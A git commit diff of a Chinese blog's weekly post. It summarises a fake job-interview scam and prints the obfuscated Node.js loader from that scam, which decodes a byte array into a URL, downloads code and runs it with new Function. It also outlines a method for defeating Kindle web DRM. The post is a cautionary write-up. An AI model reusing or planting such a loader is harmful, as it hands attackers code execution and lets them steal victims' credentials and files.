summaryrefslogtreecommitdiff
path: root/content/posts/weekly
diff options
context:
space:
mode:
authorEltrac <hi@guhub.cn>2025-10-19 17:48:00 +0800
committerEltrac <hi@guhub.cn>2025-10-19 17:48:00 +0800
commitd9114f7196b0624d78c16fe13a2b8b15bf721ebf (patch)
treeca830c49753dae7bddf98afea6db97d3c4821eed /content/posts/weekly
parentd044b9fac40b81a462be73b48017eec3d68a8425 (diff)
docs: new post and update draft
Former-commit-id: 1521fdc6c6a5b9ac21ad6355b007f7b478f84548
Diffstat (limited to 'content/posts/weekly')
-rw-r--r--content/posts/weekly/51.md86
1 files changed, 84 insertions, 2 deletions
diff --git a/content/posts/weekly/51.md b/content/posts/weekly/51.md
index da8342fb..b678cf2a 100644
--- a/content/posts/weekly/51.md
+++ b/content/posts/weekly/51.md
@@ -49,6 +49,74 @@ toc: true
一开始我其实很喜欢 Liquid Glass,因为 Apple 展示的宣传界面的确令人眼前一亮。不过,自己更新新系统使用了一两个月之后,我就逐渐对 Liquid Glass 失望了。至少,我觉得这种设计语言完全不应该大量地出现在 macOS 上——电脑这种有大量精细操作的设备为什么会需要这么多圆角?
+此外,我原本以为全新的 Spotlight(聚焦搜索)可以代替 Raycast,毕竟我只是这个软件的轻度用户。不过频繁打开 Spotlight 之后发现它的淡入淡出动画真的很烦人,太慢了,经常让我感觉没有打开,于是按了两遍快捷键,结果第二次操作的时候就关掉了 Spotlight……
+
+### 我差点被一个「工作面试」偷走数字身份
+
+> [!note] 📜
+> [How I Almost Got Hacked By A 'Job Interview'](https://blog.daviddodda.com/how-i-almost-got-hacked-by-a-job-interview)
+
+作者是一个很注重隐私和数据安全的程序员,最近他在领英上收到了一个工作面试邀请,查看对方身份之后发现是一个正规的公司,于是就接受了。面试之前,面试官给它发送了一个 GitBucket 仓库,要求在面试之前的三十分钟内完成这个测验。作者起初觉得这很正常,很多面试官都会这样检验面试者的实操能力;由于时间很紧,作者没怎么调试就直接做完了题目,在最终要执行 `npm run start` 启动项目的时候,他突然觉得哪里不对劲。
+
+于是他向 Cursor 的 AI Agent 问了一个问题:
+
+> 在我运行这个应用之前,你能不能帮我检查一下代码库里有没有什么可疑的代码?
+
+Agent 帮他翻出来了这段代码:
+
+```js
+//Get Cookie
+(async () => {
+ const byteArray = [
+ 104, 116, 116, 112, 115, 58, 47, 47, 97, 112, 105, 46, 110, 112, 111, 105,
+ 110, 116, 46, 105, 111, 47, 50, 99, 52, 53, 56, 54, 49, 50, 51, 57, 99, 51,
+ 98, 50, 48, 51, 49, 102, 98, 57
+ ];
+ const uint8Array = new Uint8Array(byteArray);
+ const decoder = new TextDecoder('utf-8');
+ axios.get(decoder.decode(uint8Array))
+ .then(response => {
+ new Function("require", response.data.model)(require);
+ })
+ .catch(error => { });
+})();
+```
+
+将 `byteArray` 解码之后会得到一个链接,这段代码的作用就是从这个链接中下载并执行代码,而这段来自网络的代码是纯粹的恶意软件,会偷走加密钱包、文件、密码和你的整个数字身份的那种。由于这段代码被写在服务端的控制器里,在运行时拥有系统权限,真的非常邪恶。并且,这个链接在 24 小时之后就失效了,对方早就做好了销毁证据的准备。
+
+作者后来在评论区表示,对方在发现自己还没有执行代码之后,将工作面试推迟了两次,然后作者把这篇文章的草稿发给了他们,之后就被拉黑了。后来这家公司的招聘人员和创始人还来这篇文章下回复,表示他们正在调查,并且这种恶意事件和他们没有关系,他们只是忘记修改领英的默认设置,导致任何人都可以和他们的企业关联起来。
+
+#### 我的观点
+
+AI 编程工具的妙用:检查恶意代码。在运行来源不明的代码之前,花一两分钟的时间请大模型帮忙扫描一遍代码库,是真的能救命的。读完这篇文章也让我开始警觉,我从未想过用 `npm run start` 执行一个简单的前端项目也有被黑的可能性。
+
+### 我「逆向工程」了 Amazon 的 Kindle 图书服务
+
+> [!note] 📜
+> [How I Reversed Amazon's Kindle Web Obfuscation Because Their App Sucked](https://blog.pixelmelt.dev/kindle-web-drm/)
+
+因为 Amazon 做的 App 实在是太难用,作者想把他在 Amazon 购买的电子书下载到设备上,用一个好用的阅读器软件来阅读,结果发现他只能在 Amazon 的软件里访问自己花钱购买的电子书。作者本可以直接退款,但他认为自己付过钱,就理应能够把电子书导入 Calibre,和自己其他的书一起阅读。
+
+所以他逆向工程了 Amazon 的 Web 客户端,结果发现,Amazon 不会明文传输电子书文本,而是用到了替换加密,每个字对应的是字体中的一个字形(Glyph);而且 API 限制一次只能请求五页,每次请求,这个字形的映射都会改变,也就是说作者无法创建一个适用于整本书的字形映射表。
+
+```json
+{
+ "type": "TextRun",
+ "glyphs": [24, 25, 74, 123, 91, 18, 19, 30, 4, ...],
+ "style": "paragraph"
+}
+```
+
+一个编码对应的是字形的 SVG 定义,Amazon 在这里还用到了 SVG 的移动操作(MoveTo Opertaion),由于浏览器原生支持 Path2D,所以能够正常渲染,而 Python 的 SVG 库则不行;由于这里的移动操作是随机的,所以也不能通过字符串匹配的方式构造字形映射,也就是说,就算是相同的字符,其 SVG 定义也会有微小的差异。
+
+最后作者换了一个 SVG 库,把每一个 SVG 渲染成图片,然后用图片生成 Hash,这样就算同一个字形的 SVG 定义有差异,Hash 也是不会变的;通过这个 Hash 作者构造出了一个映射表,生成了 EPUB 格式的电子书。
+
+#### 我的观点
+
+尽管这种操作的法律正规性存疑(作者的确破解了加密方式并传播了方法,但没有传播破解软件,文章里甚至没有一行他写的代码),但不失为一种学习和练习技术的方式。
+
+读完之后我开始思考,如果电子书平台在用户购买书籍之后都不允许下载电子书文件,只允许在限定的 App 里阅读,那真的能算作购买吗?在文中,作者认为这是「租用」,要是企业跨掉了,或者只要他们想,你就没办法访问你「购买」的电子书了。出于这种原因我始终不愿意在这样的「正规渠道」购买电子书,我选择更多地阅读纸质书,或者下载免费的电子书资源。如果购买意味着真正的「拥有」,那我才会愿意像购买纸质书一样购买电子书。也有可能,由于数字产品的特殊性,这点没办法做到吧。
+
## ⁂ · 星群
### AirBattery
@@ -69,8 +137,22 @@ toc: true
![](https://image.guhub.cn/picgo2025/close_help.avif)
-访问:[开始截图 - 1Capture](https://docs.1capture.com/cn/start)
+访问:[1Capture](https://docs.1capture.com/cn/start)
### Is This Seat Taken?
-大概是一个月以前买的游戏 \ No newline at end of file
+大概是一个月以前买的游戏,最近才治好「电子阳痿」打开来玩。玩法是根据不同小人的需求,将所有人安置到适合他们的位置上,比如有的人不喜欢旁边有人、不喜欢和小孩待在一起,有的人没洗澡或者喷了太多香水,而相应的会有人希望离这些气味远一点,还有的小孩子想和别的小孩坐在一起,有的人想和别人说话,而有的人因为想要读书或睡觉,想要离那些说话和外放音乐的人远一些。
+
+游戏的难度适中,玩到第三大关还没有遇到卡关的情况,但也有不少有挑战的关卡。游戏中会有反复出现的人物,玩家可以见证他们前往不同城市、遇到不同的人发生的故事,还算是增加了一些趣味性。游戏的画风也很可爱,我尤其喜欢这种柔和的配色,总之,推荐一玩。
+
+![](https://image.guhub.cn/picgo2025/20251019-is-this-seat-taken-game.jpeg)
+
+访问:[Is This Seat Taken? on Steam](https://store.steampowered.com/app/3035120/Is_this_Seat_Taken/)
+
+### meow.camera
+
+人类,你可以观看猫咪进食。
+
+![](https://image.guhub.cn/picgo2025/20251019-mewocamera.jpeg)
+
+访问:[meow.camera](https://meow.camera/) \ No newline at end of file